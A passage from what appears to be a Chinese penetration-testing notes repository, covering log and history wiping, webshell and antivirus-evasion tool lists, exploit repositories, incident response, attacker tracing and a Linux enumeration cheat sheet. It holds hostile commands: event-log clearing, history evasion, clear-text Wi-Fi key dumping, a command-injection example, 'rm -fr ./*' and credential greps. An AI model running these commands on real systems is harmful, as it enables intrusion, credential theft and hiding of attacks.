"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f 544 | @del "%USERPROFILE%\My Documents\Default.rdp" /a 545 | @exit 546 | ``` 547 | b Metasploit 548 | ``` 549 | # run clearlogs 550 | # clearev 551 | ``` 552 | c Windows日志的删除 553 | 获取日志分类功能 554 | ``` 555 | # wevtutil el >1.txt 556 | ``` 557 | 获取单个日志类别的统计信息,例如: 558 | ``` 559 | # wevtutil gli "windows powershell" 560 | ``` 561 | 查看指定日志的具体内容 562 | ``` 563 | # wevtutil qe /f:text "windows powershell" 564 | ``` 565 | 删除单个日志类别的所有信息 566 | ``` 567 | # wevtutil cl "windows powershell" 568 | find $PWD -maxdepth 1 | xargs ls -ld 569 | ``` 570 | d 工具 571 | * Invoke-Phant0m 572 | * Windwos-EventLog-Bypass 573 | * MrKaplan 574 | * Forensia 575 | 576 | 577 | ### 撰写报告 578 | * 规范。目标、受众、时间、密级、分发。 579 | * 收集信息。自己渗透成功的利用证明、截图(帮助技术人员复现)、脚本(向技术人员提供细节,可以是自己编写的)、日志记录(最好是数字形式显示,方便展示) 580 | * 封面。正式一点、项目标题、客户名称、版本、作者信息、日期。 581 | * 属性。客户信息、测试的公司、测试的人员、有关人员和其他有关参与人员信息 582 | * 报告索引。列出主要标题的索引,下级标题也列出(下级可以不需要页码),图目录列出图像的页码索引。 583 | * 行动纲要。这是为高层书写的,简要说明渗透测试过程。包括项目目标、项目范围、授权信息、明确渗透测试者的假定(保护测试者)、时间表、渗透测试摘要。 584 | * 发现问题的清单。以表格的形式列举便于查询。 585 | * 发现问题的详细说明。包含修复建议(帮助IT、运维、信息安全人员阅读)、漏洞定义节、脆弱性节、概念验证(给出成功的截图就行了)、可能性(解释漏洞利用的条件)、风险评估、建议。 586 | * 支持文档。方法学、工具(渗透测试所用工具)、附录(非必须阅读的内容)、参考(无法描述细节或时间不够写)、术语表。 587 | * 质量保证。给客户保证渗透测试的质量有效,没有错误。值得信赖! 588 | ### 工具 589 | >只列举比较于同类产品中较为出色的工具。仅代表个人使用感觉! 590 | #### 资产发现 591 | * dismap 592 | * Goby 593 | #### 服务发现 594 | * Nmap 595 | * Rustscan 596 | 597 | > 伊诺端口:80-89,443,8443,9443,389,873,2049,2181,5000-5010,5601,5900,5984,6379,7001,8161,9200,10051,11211,27017,28096,1000,2000,3000,4000,6000,9000,10000-10010,20000,30000,40000,50000,8000-8100,8200,9000-9009,9898,66,666,6666,8888,56666,58888,6888,6868,8686,6668,8886,8866,6688,65535,18080,18081,16001,17001,18001,19001 598 | 599 | #### 子域扫描 600 | * dnsub 601 | #### 目录扫描 602 | * dissearch 603 | * dirmap 604 | #### 漏洞扫描 605 | * AWVS、APPSCAN、Nessus 传统重型武器三大件 606 | * Vulmap 607 | * Xray:被动扫描较为出色 608 | * w13scan 609 | * fscan 610 | * EZ 611 | * afrog 612 | #### 抓包改包 613 | * Burp Suite 614 | #### 空间测绘 615 | * kunyu 616 | #### 漏洞利用 617 | * Metesploit 618 | #### 远控管理 619 | * 冰蝎 620 | * 哥斯拉 621 | * 中国菜刀 622 | * 蚁剑 623 | * 大灰狼 624 | #### 内网工具 625 | * mimikatz 626 | * metasploit 627 | * empire 628 | #### 数据库 629 | * navicat premium: 数据库连接管理工具 630 | * neo4j:neo4j数据库管理工具 631 | * sharp sql tools:mssql数据库利用工具 632 | * sqlite:sqlite数据库管理工具 633 | * sqlknife:mssql数据库利用工具 634 | * sqlmap: 注入工具 635 | * sylas:mssql & orcle & postgresql数据库利用工具 636 | * toad:oracle数据库管理工具 637 | #### 字典 638 | * https://github.com/0linlin0/fuzzDicts 639 | * https://github.com/mixiyihao/Fuzz_dic 640 | * https://github.com/timwhitez/SuperWordlist 641 | * https://github.com/7hang/Fuzz_dic 642 | * https://github.com/Lucifer1993/dict-hub 643 | * https://github.com/scopion/dic 644 | * https://github.com/TheKingOfDuck/fuzzDicts 645 | * https://github.com/ybdt/dict-hub 646 | * https://github.com/ppbibo/PentesterSpecialDict 647 | 648 | [更多工具](https://github.com/enomothem/PentestingNote/blob/main/attach/pentestingtools.md) 649 | 650 | 651 | 652 | 653 | 654 | ## 应用测试 655 | 包含安卓,客户端应用,移动端应用,APP,小程序等测试。 656 | ### 工具 657 | * MOBSF https://github.com/MobSF/Mobile--Framework-MobSF 658 | * APKDeepLens https://github.com/d78ui98/APKDeepLens 659 | * apk2url https://github.com/n0mi1k/apk2url 660 | * apk查壳神器PKiD v0.12 自行下载,注意甄别风险 661 | * jadx反编译 https://github.com/LaurieWired/JADXecute 662 | * apk反编译 https://github.com/liaojack8/AndroidKiller 663 | * appshark静态污点分析平台 https://github.com/bytedance/appshark 664 | * AppMessenger 665 | * ApplicationScannerWin https://github.com/zqf-dev/ApplicationScannerWin 666 | * APK加固检测:https://github.com/moyuwa/ApkCheckPack 667 | 668 | 669 | ## 应急响应 670 | ### 思路 671 | > 你服务器被攻击啦,快去剪网线。 672 | 673 | 端口、进程、用户、历史、任务、日志、蜜罐、杀毒、分析、封禁、研判、溯源、反制。剩下的就看你的经验了。 674 | - 一些基础的应急命令 675 | ``` 676 | # 网络 677 | netstat -ano | grep "ES" # linux 678 | netstat -ano | findstr ES # windows 679 | # 进程 680 | tasklist # windows 681 | ps aux # linux 682 | # 端口 683 | netstat -ano # windows 684 | netstat -tulnp # linux 685 | # 用户 686 | cat /etc/passwd # linux 687 | wmic useraccount get name,sid,SIDType,Disabled # windows 可查看影子用户 688 | ``` 689 | - 不错的命令 690 | ``` 691 | lsof +L1 # 显示那些被打开但已经被删除的文件 692 | lsof -i # 命令用于显示与网络相关的所有打开的文件,包括网络连接和套接字 693 | find . -regex ".*\.\(php\|jsp\|aspx\)$" | xargs grep "POST" # 找东西 694 | ``` 695 | ### 应急 696 | #### 挖矿类 697 | > [!TIP] 698 | > 伊诺点评:一般而言,挖矿由残留的下载程序的计划任务、程序本体与矿池外联、被压榨的计算机资源等特征,需要进行物理隔离进行排查,定位矿机位置拓扑,摸清范围,对未感染的机器进行加固更改密码风险排查等措施。临时处置镜像备份,然后上传buzybox定位挖矿母体,并kill挖矿程序,然后找到对应的挖矿脚本和计划任务。 699 | 700 | 关键命令 701 | ```bash 702 | ls -l /proc/[pid]/exe 703 | crontab -l 704 | cat /var/spool/cron 705 | find / -name [挖矿程序] 706 | rm -rf [挖矿相关文件] 707 | kill -9 [挖矿进程] 708 | ``` 709 | 710 | 原因分析 711 | - Top1:SSH弱口令 712 | - Top2:Redis未授权弱、弱口令 713 | - Top3:SMB爆破 714 | - Top4:Web漏洞 715 | - Top5:钓鱼邮件携带 716 | 717 | 718 | 挖矿病毒常见列表 719 | 1. 病毒名称:qW3xT: 现象:占用超高CPU,进程查杀之后自启动。 720 | 2. 病毒名称:Ddgs.3011 现象:占用超高CPU,进程查杀之后自启动。 721 | 3. 病毒名称:S01wipefs 现象:占用超高CPU,无定时任务,但是病毒源文件存放在较多位置,比较难清除干净。 722 | 4. 病毒名称:acpidtd 现象:占用超高CPU,无定时任务,但是病毒源文件存放在较多位置,比较难清除干净。 723 | 5. 病毒名称:MSFC 现象:占用超高CPU及内存,病毒源文件单一,较容易查杀。 724 | 6. 病毒名称:kswapd0 现象:占用超高CPU及内存,通过利用kswapd0伪装进程,可使用`ls -l /proc/[PID]/exe`排查可执行文件位置。 725 | 7. 病毒名称:xmrig 现象:占用超高CPU、内存,存在定时任务,较容易查杀。 726 | 727 | 728 | #### 勒索类 729 | > [!TIP] 730 | > 伊诺点评: 一般而言,如果是市面上无解的,那基本上是没有救的,就算付出高额的成本去破解,还不如付钱来得实在,如果你的乙方,多帮助客户排查一下机器,因为客户把救命稻草压在你这个技术人员手上,多排查一下安慰客户,因为杀不干净的心理阴影,最后都会进行重装系统的,所以排查只是了解被勒索的事实,如果你幸运的话,日志没有删除或许能知道攻击的入口是什么,或许是因为一个弱口令,又或许是web日志中反映的一个nday漏洞,这个都是你技术成果的体现。和挖矿一样,需要定位勒索范围拓扑,避免进一步扩散,进行物理隔离,加固未感染区域的主机。 731 | 732 | 勒索病毒查询 733 | * https://lesuobingdu.qianxin.com/ 734 | * http://lesuobingdu.360.cn/ 735 | * https://guanjia.qq.com/pr/ls/#navi_0 736 | * https://id-ransomware.malwarehunterteam.com/ 737 | * https://www.nomoreransom.org/zh/index.html 738 | * https://esupport.trendmicro.com/en-us/home/pages/technical-support/1114221.aspx 739 | * https://noransom.kaspersky.com/ 740 | * https://www.emsisoft.com/ransomware-decryption-tools/ 741 | * https://www.avast.com/en-us/ransomware-decryption-tools 742 | * https://www.quickheal.com/free-ransomware-decryption-tool/ 743 | #### web攻击 744 | #### 网络协议攻击 745 | #### 近源攻击 746 | #### 网页篡改 747 | ### 溯源 748 | > 你需要强大的武器和冷静的头脑。 749 | 750 | * 溯源 751 | - 攻击画像:IP、ID、关键字、电话号码、身份证、QQ、微信号、头像、邮箱、跳板、目的、位置、手法、代理 752 | - 真实IP:一、NSLOOKUP查看NS记录。二、WHOIS。三、HTTP icon。四、子域名。五、国外ping。 753 | - ID或姓名:谷歌百度等搜索引擎、微博贴吧人人网、抖音脉脉。如果是ID可以去圈子里问。 754 | - 手机号邮箱:sgk、谷歌百度、QQ添加、微信添加、支付宝转账验证姓名、社交平台抖音等、reg007.com 755 | - 恶意文件:逆向工具分析Ida、JEB、winhex,网络进程分析wirehshark,固件分析binwalk、bin2bmp、pixd,在线沙箱 756 | * 反制 757 | - 钓鱼、C2反打、开放端口、取证 758 | 759 | ### 工具 760 | * [Whoamifuck/Chief-Inspector](https://github.com/enomothem/Whoamifuck) - Linux应急响应 761 | * [WindowsBaselineAssistant](https://github.com/DeEpinGh0st/WindowsBaselineAssistant) - Windows加固 762 | * [chkrookit](http://www.chkrootkit.org/) - 后门查杀 763 | * [rkhunter](https://sourceforge.net/projects/rkhunter/) - 后门查杀 764 | * [GetInfo](https://github.com/ra66itmachine/GetInfo) - Windows信息采集 765 | * [volatility](https://github.com/volatilityfoundation/volatility) - 内存取证 766 | ## 伊诺之令 767 | >本人在渗透测试中收集的命令,以及经过改良的绝妙之令——伊诺之令。以极致的手法,击穿WAF之壁,来无影去无踪,渗而不透,此乃终端之令法。 768 | ### Windows 769 | #### 解决Windows终端颜色问题 770 | ``` 771 | reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 0x00000001 /f 772 | ``` 773 | #### 列出WIFI配置信息 774 | ``` 775 | for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear 776 | ``` 777 | #### 内网存活地址检测 778 | ``` 779 | for /L %D in (1,1,255) do ping 10.168.1.%D 780 | ``` 781 | ### Linux 782 | #### "渗不透" 783 | 在使用命令前加上`反斜杠`防止执行改名后的命令进入陷阱,可以忽略掉 alias 的指定选项 784 | 在输入命令时,全面加上空格将不记录命令历史,不过在此之前要看一下环境变量。 785 | ``` 786 | \export HISTCONTROL=ignorespace # 配置ignorespace环境变量使空格规避记录生效,记得将记录删除 787 | [Space]\command # 这就是“渗不透”,将两者结合,既不留下脚印,又不会踩雷 788 | [Space]\set +o history # 暂时关闭命令记录 789 | \command 790 | [Space]\set -o history # 结束工作,关闭命令记录 791 | [Space]\history 792 | [Space]\history -d num # 删除某行历史命令 793 | ``` 794 | #### 取证 795 | ``` 796 | wget -c -r -np -k -L http://ip/ 797 | ``` 798 | #### 毁灭吧 799 | ``` 800 | rm -fr ./* 801 | ``` 802 | #### 显示全局路径 803 | ``` 804 | ls | sed "s:^:`pwd`/:" 805 | find $PWD -maxdepth 1 | xargs ls -ld # 列出文件的绝对路径且显示隐藏文件,并不对目录递归 806 | ``` 807 | #### 排除多个字符串 808 | ``` 809 | echo -e "banner header body\nbanner\nbanner header\nbanner body" | grep -E -v "header|body" 810 | banner 811 | ``` 812 | #### 去除重复项 813 | ``` 814 | sort ssh-pass.txt | uniq -c | sort -rn | cut -c 9- 815 | 816 | ``` 817 | #### ls用法 818 | ``` 819 | ls -lhS 按文件大小排序,加 -r 相反 820 | ls -ltr 按时间顺序排序,加 -r 相反 821 | ls -l | grep "^d" # 只显示目录 822 | ``` 823 | #### 公网IP信息 824 | ``` 825 | curl ipinfo.io/ 826 | ``` 827 | #### SSRF+命令执行 828 | ``` 829 | http://www.`id`.example.com 830 | # 会先执行id命令,在linux中,id\whoami的命令执行优先级更高,如: 831 | ls `whoami` 832 | ls $(whoami) 833 | ``` 834 | ### 工具 835 | 836 | * 在线命令查询 837 | - https://www.linuxcool.com/ 838 | - http://linux.51yip.com/ 839 | - http://linux.devonline.net/ 840 | * 命令自述文档 841 | - man加命令或者命令后面加-h/--help 842 | ### 学习 843 | 844 | * [@safe65Sec的红队命令](https://github.com/safe6Sec/command) 845 | 846 | 847 | 848 | ## 逆向工程 849 | 850 | ### 免杀 851 | * 冰蝎Java WebShell免杀生成 https://github.com/Tas9er/ByPassBehinder4J 852 | * 哥斯拉冰蝎 Webshell免杀 https://github.com/czz1233/GBByPass 853 | * Bypass Applocker 854 | * UltimateAppLockerByPassList https://github.com/api0cradle/UltimateAppLockerByPassList 855 | * BypassAV 856 | * Empire、PEspin、Shellter、Ebowla、Veil、PowerShell、Python、Go 857 | * avevasion:https://github.com/1y0n/av_evasion_tool 858 | * bypass-antivirus:免杀教程 859 | * charlotte:https://github.com/9emin1/charlotte 860 | * cool:https://github.com/ed1s0nz/cool 861 | * crossnet:https://github.com/dr0op/crossnet-beta 862 | * darkarmour:https://github.com/bats3c/darkarmour 863 | * shellcodeloader:https://github.com/knownsec/shellcodeloader 864 | * vmprotect: 加壳工具(商业加壳,生成exe体积大) 865 | * vprotect: 加壳工具(商业加壳,生成exe体积较大) 866 | * zhetian:遮天shellcode加载工具https://github.com/yqcs/ZheTian 867 | 868 | > 免杀思路:使用偏僻的语言,比如Nim。使用Base64进行加密,避免特征码的检测。 869 | 870 | ### 学习 871 | * 编程学习 872 | * [优秀项目](https://github.com/erichs/awesome-awesome) 873 | * 逆向学习 874 | * https://github.com/luckyfuture0177/ReZeroBypassAV - 0基础学习逆向 875 | * https://github.com/gh0stkey/Binary-Learning - 二进制学习 876 | ### 工具 877 | * [AV_Evasion_Tool](https://github.com/1y0n/av_evasion_tool) - 掩日 - 免杀执行器生成工具 878 | * [nudge4j](https://github.com/lorenzoongithub/nudge4j) - 让浏览器与JVM交互的Java工具 879 | * [IDA](https://www.hex-rays.com/products/ida/) - IDA是可以工作在Windows,Linux或Mac OS X的多处理反汇编和调试工具 880 | * [OllyDbg](http://www.ollydbg.de/) - Windows 32位汇编程序级别调试工具 881 | * [x64dbg](http://x64dbg.com/) - Windows上开源x64/x32调试工具 882 | * [dex2jar](https://github.com/pxb1988/dex2jar) - 用于处理用于处理Android .dex和Java .class文件的工具 883 | * [JD-GUI](http://jd.benow.ca/) - 显示Java源代码“.class”文件的独立图形实用工具 884 | * [procyon](https://bitbucket.org/mstrobel/procyon/wiki/Java%20Decompiler) - 现代化开源Java反编译工具 885 | * [androguard](https://code.google.com/p/androguard/) - 用于Android应用程序的逆向工程,恶意软件分析工具 886 | * [JAD](http://varaneckas.com/jad/) - JAD Java反编译工具(闭源, 不常更新) 887 | * [dotPeek](https://www.jetbrains.com/decompiler/) - JetBrains公司开发的免费的.NET反编译工具 888 | * [ILSpy](https://github.com/icsharpcode/ILSpy/) - 开源的集浏览和反编译.NET程序工具 889 | * [dnSpy](https://github.com/0xd4d/dnSpy) - 集编辑,反编译和调试.NET程序工具 890 | * [de4dot](https://github.com/0xd4d/de4dot) - 破解.NET程序工具 891 | * [antinet](https://github.com/0xd4d/antinet) - 用于反编译和混淆代码的.NET程序工具 892 | * [UPX](http://upx.sourceforge.net/) - 终极封装可执行文件工具 893 | * [radare2](https://github.com/radare/radare2) - 便携式的逆向工程框架工具 894 | * [plasma](https://github.com/joelpx/plasma) - 适用于x86/ARM/MIPS交互式反汇编,使用花指令语法代码生成伪代码。 895 | * [Hopper](https://www.hopperapp.com) - 适用于OS X和Linux反汇编/反编译32/64位Windows/MAC/LINUX/iOS的可执行文件工具 896 | * [ScratchABit](https://github.com/pfalcon/ScratchABit) - 使用IDAPython兼容插件API轻松重新定位和可攻击的交互式反汇编工具 897 | refer:[L](https://github.com/Lucifer1993/awesome-hacking) 898 | 899 | ## 后备能源 900 | > 一切恐惧的来源并非是无知,是火力的不足。就算你的知识再强大,当你进攻的时候脑子力只有武器的设计图和理论却打不过别人的三板斧时,也是不行滴。 901 | 902 | 唯有强大的基础工业体系,一体化,武器化,工业化的后备资源,在消耗的时候才能让敌人感到恐惧,而不是自己,做到绝对的压制和维度的打击。不要再做井底之蛙了,该回家了 ~~x.tw~~ => x.tw.cn 。 903 | 904 | ### 资源 905 | 906 | #### 域名 907 | 908 | * Godaddy:https://sg.godaddy.com/zh 最大 909 | * Gandi:https://v4.gandi.net/ 中国台湾的 910 | * Hover:https://www.hover.com/ 快 911 | * namesilo:https://www.namesilo.com/ 便宜 912 | * Namecheap:https://www.sandbox.namecheap.com/ 后缀多且便宜 913 | * 万网:https://wanwang.aliyun.com/ 国内 914 | * 网易:https://domain.163yun.com/ 国内 915 | * 腾讯:https://dnspod.cloud.tencent.com/ 国内 916 | 917 | #### 空间 918 | 919 | * 找个云:https://zhaogeyun.com/644.html 对比云价格 920 | * RackNerd:https://my.racknerd.com/ 921 | * pacificrack:https://pacificrack.com 922 | * 红队云:https://www.redidc.net/ 923 | * 亚马逊 924 | * 国内:阿里云、腾讯云、华为云、金山云 925 | 926 | #### 代理 927 | 928 | * / 929 | 930 | ### 武器 931 | 932 | #### 重量级武器平台 933 | 934 | * Kali Linux 935 | * Parrot Linux 936 | * 悬剑武器库 937 | * CTF_Tools—System 938 | * Hacker_Tools-System 939 | * Taie-RedTeam-OS 940 | 941 | #### 轻量级武器大全 942 | 943 | * [知道创宇404星链计划](https://github.com/knownsec/404StarLink) 944 | * [C2工具集合](https://github.com/outflanknl/C2-Tool-Collection) 945 | 946 | #### 弹药 947 | 948 | > 众所周知,CVE 漏洞库中 99% 以上的漏洞只是无现实意义的编号 949 | 950 | * https://www.exploit-db.com/ 951 | * https://github.com/RhinoSecurityLabs/CVEs 952 | * https://github.com/Metnew/uxss-db - 浏览器逻辑漏洞 953 | * https://github.com/DawnFlame/POChouse 954 | * https://github.com/Mr-xn/Penetration_Testing_POC 955 | * https://github.com/EdgeSecurityTeam/Vulnerability 956 | * https://github.com/r0eXpeR/redteam_vul 957 | * https://wiki.96.mk/ 958 | * https://github.com/mai-lang-chai/System-Vulnerability - 系统漏洞 959 | * https://github.com/helloexp/0day 960 | 961 | 你是沙鹰还是格洛克?一些实时更新,高价值的漏洞在哪里呢,有没有人做这样的工作,当然是有的。 962 | * ali:https://avd.aliyun.com/ 等级为高危严重 963 | * OSCS安全社区:https://www.oscs1024.com/cm 等级为高危严重,包含预警标签 964 | * qax:https://ti.qianxin.com/ 还要登录,比较烦 965 | * weibu: https://x.threatbook.com/v5/vulIntelligence 966 | * cy的seebug: https://www.seebug.org/ 有最新poc 967 | * qmxc:https://www.venustech.com.cn/new_type/aqtg/index.html 968 | * EZ社区:https://msec.nsfocus.com/ 969 | 970 | 971 | ### 训练营 972 | 973 | * sqli-lab 974 | * xss-lab 975 | * dvwa 976 | * vulhub 977 | * [BUUCTF](https://buuoj.cn/) 978 | * [bugkuctf](https://ctf.bugku.com/) 979 | * [Metasploitable3](https://github.com/rapid7/metasploitable3) 980 | * [pikachu](https://github.com/zhuifengshaonianhanlu/pikachu) 981 | * [bwapp](http://itsecgames.com/) 982 | * i春秋 983 | * 墨者学院 984 | * 实验吧 985 | * 攻防世界 986 | 987 | ### 夺旗 988 | 989 | #### 加解密 990 | - MD5 991 | - https://www.cmd5.com/ 992 | - https://www.somd5.com/ 993 | - https://md5.cc/ 994 | - 各种加密 995 | - http://www.hiencode.com/ 996 | - http://www.ctftools.com/down/ 997 | - http://hi.pcmoe.net/index.html 998 | - http://www.ab126.com/goju/1711.html 进制-ASCII 999 | - https://github.com/Ganapati/RsaCtfTool Rsa 1000 | - https://crypot.51strive.com/sha256.html sha1-sha2 1001 | - https://morsecode.buyaocha.com/ 莫斯 1002 | - http://encode.chahuo.com/ 1003 | - https://the-x.cn/cryptography/Aes.aspx AES 1004 | - 工具 1005 | - http://www.atoolbox.net/ 1006 | - https://www.pdfpai.com/downgif2png 1007 | - https://www.11zon.com/zh-cn/ 1008 | - https://the-x.cn/ 推荐 1009 | 1010 | ## 参考以下大佬表哥圈子里的家人们优秀的笔记和互联大网资料 1011 | [1] https://www.rfc-editor.org/ - RFC相关协议信息 1012 | [2] https://github.com/Lucifer1993/awesome-hacking - 参考关键工具向 1013 | [3] https://github.com/Ridter/Intranet_Penetration_Tips - 渗透测试详细技巧 1014 | [4] https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml - IP协议号 1015 | [5] https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers - 端口号 1016 | [6] https://www.freebuf.com/articles/network/317851.html - 参考这位老哥的物理设备归纳 1017 | [7] https://wintrysec.github.io/ - 渗透测试笔记 1018 | [8] https://github.com/awake1t/Awesome-hacking-tools - 参考工具 1019 | [9] https://blog.csdn.net/u013197629/article/details/73608613 - Linux权限 1020 | 1021 | -------------------------------------------------------------------------------- /attach/ftpstatuscode.md: -------------------------------------------------------------------------------- 1 | | 应答码 | 说明 | 2 | | ------ | ---------------------------------------- | 3 | | 110 | 新文件指示器上的重启标记 | 4 | | 120 | 服务器准备就绪的时间(分钟数) | 5 | | 125 | 打开数据连接,开始传输 | 6 | | 150 | 打开数据连接 | 7 | | 200 | 就绪命令(命令成功) | 8 | | 202 | 命令没有执行 | 9 | | 211 | 系统状态回复 | 10 | | 212 | 目录状态回复 | 11 | | 213 | 文件状态回复 | 12 | | 214 | 帮助信息回复 | 13 | | 215 | 系统类型回复 | 14 | | 220 | 服务就绪 | 15 | | 221 | 退出 FTP | 16 | | 225 | 打开数据连接 | 17 | | 226 | 结束数据连接(下载完成、目录列表完成等) | 18 | | 227 | 进入被动模式(IP 地址、ID 端口) | 19 | | 230 | 成功登录 FTP 服务 | 20 | | 250 | 完成目录切换 | 21 | | 257 | 路径名建立 | 22 | | 331 | 要求密码 | 23 | | 332 | 要求账号 | 24 | | 350 | 文件行为暂停 | 25 | | 421 | 服务关闭 | 26 | | 425 | 无法打开数据连接 | 27 | | 426 | 结束连接 | 28 | | 450 | 文件不可用 | 29 | | 451 | 遇到本地错误 | 30 | | 452 | 磁盘空间不足 | 31 | | 500 | 无效命令 | 32 | | 501 | 错误参数 | 33 | | 502 | 命令没有执行 | 34 | | 503 | 错误指令序列 | 35 | | 504 | 无效命令参数 | 36 | | 530 | 登录 FTP 服务失败 | 37 | | 532 | 存储文件需要账号 | 38 | | 550 | 文件不存在 | 39 | | 551 | 不知道的页类型 | 40 | | 552 | 超过存储分配 | 41 | | 553 | 文件名不允许 | 42 | -------------------------------------------------------------------------------- /attach/httpstatuscode.md: -------------------------------------------------------------------------------- 1 | ### Http Status Code 2 | 3 | > 状态码和原因短语,状态码以数字形式表示当前事务处于什么状态,原因短句就是解释原因,方便阅读 4 | 5 | ``` 6 | - 1xx: Informational - Request received, continuing process 7 | \ 请求收到,继续处理 8 | - 2xx: Success - The action was successfully received, understood, and accepted 9 | \ 成功地接收、解析和接受了该操作 10 | - 3xx: Redirection - Further action must be taken in order to complete the request 11 | \ 为了完成请求,必须采取进一步的行动 12 | - 4xx: Client Error - The request contains bad syntax or cannot be fulfilled 13 | \ 请求包含错误的语法或无法实现 14 | - 5xx: Server Error - The server failed to fulfill an apparently valid request 15 | \ 服务器未能完成一个明显有效的请求 16 | ``` 17 | 18 | ### Status-Code 19 | 20 | ``` 21 | Status-Code = 22 | "100" : Continue # 继续。客户端应继续其请求 23 | | "101" : Switching Protocols # 切换协议。 24 | | "200" : OK # 请求成功。一般用于Get和Post请求 25 | | "201" : Created # 已创建。成功请求并创建了新的资源 26 | | "202" : Accepted # 已接受。已经接受请求,但未处理完成 27 | | "203" : Non-Authoritative Information # 非授权信息。请求成功。但返回的meta信息不在原始的服务器,而是一个副本 28 | | "204" : No Content # 无内容。服务器成功处理,但未返回内容。 29 | | "205" : Reset Content # 重置内容。服务器处理成功,用户终端(例如:浏览器)应重置文档视图 30 | | "206" : Partial Content # 部分内容。服务器成功处理了部分GET请求 31 | | "300" : Multiple Choices # 多种选择。请求的资源可包括多个位置,相应可返回一个资源特征与地址的列表 32 | | "301" : Moved Permanently # 永久移动。请求的资源已被永久的移动到新URI 33 | | "302" : Found # 临时移动。与301类似。但资源只是临时被移动。客户端应继续使用原有URI 34 | | "303" : See Other # 查看其它地址。与301类似。使用GET和POST请求查看 35 | | "304" : Not Modified # 未修改。所请求的资源未修改,服务器返回此状态码时,不会返回任何资源 36 | | "305" : Use Proxy # 使用代理。所请求的资源必须通过代理访问 37 | | "307" : Temporary Redirect # 临时重定向。与302类似。使用GET请求重定向 38 | | "400" : Bad Request # 客户端请求的语法错误,服务器无法理解 39 | | "401" : Unauthorized # 请求要求用户的身份认证 40 | | "402" : Payment Required # 保留,将来使用 41 | | "403" : Forbidden # 服务器理解请求客户端的请求,但是拒绝执行此请求 42 | | "404" : Not Found # 服务器无法根据客户端的请求找到资源(网页)。开发者可以个性化该页面 43 | | "405" : Method Not Allowed # 客户端请求中的方法被禁止 44 | | "406" : Not Acceptable # 服务器无法根据客户端请求的内容特性完成请求 45 | | "407" : Proxy Authentication Required # 请求要求代理的身份认证,与401类似,但请求者应当使用代理进行授权 46 | | "408" : Request Time-out # 服务器等待客户端发送的请求时间过长,超时 47 | | "409" : Conflict # 服务器完成客户端的PUT请求是可能返回此代码,服务器处理请求时发生了冲突 48 | | "410" : Gone # 客户端请求的资源已经不存在。而且没有任何已知的转发地址 49 | | "411" : Length Required # 服务器无法处理客户端发送的不带Content-Length的请求信息 50 | | "412" : Precondition Failed # 客户端请求信息的先决条件错误 51 | | "413" : Request Entity Too Large # 由于请求的实体过大,服务器无法处理,因此拒绝请求。 52 | | "414" : Request-URI Too Large # 请求的URI过长(URI通常为网址),服务器无法处理 53 | | "415" : Unsupported Media Type # 服务器无法处理请求附带的媒体格式 54 | | "416" : Requested range not satisfiable # 客户端请求的范围无效 55 | | "417" : Expectation Failed # 服务器无法满足Expect的请求头信息 56 | | "500" : Internal Server Error # 服务器内部错误,无法完成请求 57 | | "501" : Not Implemented # 服务器不支持请求的功能,无法完成请求 58 | | "502" : Bad Gateway # 充当网关或代理的服务器,从远端服务器接收到了一个无效的请求 59 | | "503" : Service Unavailable # 由于超载或系统维护,服务器暂时的无法处理客户端的请求。 60 | | "504" : Gateway Time-out # 充当网关或代理的服务器,未及时从远端服务器获取请求 61 | | "505" : HTTP Version not supported # 服务器不支持请求的HTTP协议的版本,无法完成处理 62 | | extension-code 63 | ``` 64 | extension-code = 3DIGIT 65 | Reason-Phrase = * 66 | -------------------------------------------------------------------------------- /attach/linux-command.md: -------------------------------------------------------------------------------- 1 | 2 | Operating System 3 | What's the distribution type? What version? 4 | ``` 5 | cat /etc/issue 6 | cat /etc/*-release 7 | cat /etc/lsb-release 8 | ``` 9 | What's the kernel version? Is it 64-bit? 10 | ``` 11 | cat /proc/version 12 | uname -a 13 | uname -mrs 14 | rpm -q kernel 15 | dmesg | grep Linux 16 | ls /boot | grep vmlinuz- 17 | ``` 18 | What can be learnt from the environmental variables? 19 | ``` 20 | cat /etc/profile 21 | cat /etc/bashrc 22 | cat ~/.bash_profile 23 | cat ~/.bashrc 24 | cat ~/.bash_logout 25 | env 26 | set 27 | ``` 28 | Is there a printer? 29 | ``` 30 | lpstat -a 31 | ``` 32 | Applications & Services 33 | What services are running? Which service has which user privilege? 34 | ``` 35 | ps aux 36 | ps -ef 37 | top 38 | cat /etc/services 39 | ``` 40 | Which service(s) are been running by root? Of these services, which are vulnerable 41 | ``` 42 | ps aux | grep root 43 | ps -ef | grep root 44 | ``` 45 | What applications are installed? What version are they? Are they currently running? 46 | ``` 47 | ls -alh /usr/bin/ 48 | ls -alh /sbin/ 49 | dpkg -l 50 | rpm -qa 51 | ls -alh /var/cache/apt/archivesO 52 | ls -alh /var/cache/yum/ 53 | ``` 54 | Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? 55 | ``` 56 | cat /etc/syslog.conf 57 | cat /etc/chttp.conf 58 | cat /etc/lighttpd.conf 59 | cat /etc/cups/cupsd.conf 60 | cat /etc/inetd.conf 61 | cat /etc/apache2/apache2.conf 62 | cat /etc/my.conf 63 | cat /etc/httpd/conf/httpd.conf 64 | 65 | cat /opt/lampp/etc/httpd.conf 66 | ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ 67 | ``` 68 | What jobs are scheduled? 69 | ``` 70 | crontab -l 71 | ls -alh /var/spool/cron 72 | ls -al /etc/ | grep cron 73 | ls -al /etc/cron* 74 | cat /etc/cron* 75 | cat /etc/at.allow 76 | cat /etc/at.deny 77 | cat /etc/cron.allow 78 | cat /etc/cron.deny 79 | cat /etc/crontab 80 | 81 | cat /etc/anacrontab 82 | cat /var/spool/cron/crontabs/root 83 | ``` 84 | Any plain text usernames and/or passwords? 85 | ``` 86 | grep -i user [filename] 87 | grep -i pass [filename] 88 | grep -C 5 "password" [filename] 89 | find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla 90 | ``` 91 | Communications & Networking 92 | What NIC(s) does the system have? Is it connected to another network? 93 | ``` 94 | /sbin/ifconfig -a 95 | cat /etc/network/interfaces 96 | cat /etc/sysconfig/network 97 | ``` 98 | What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? 99 | ``` 100 | cat /etc/resolv.conf 101 | cat 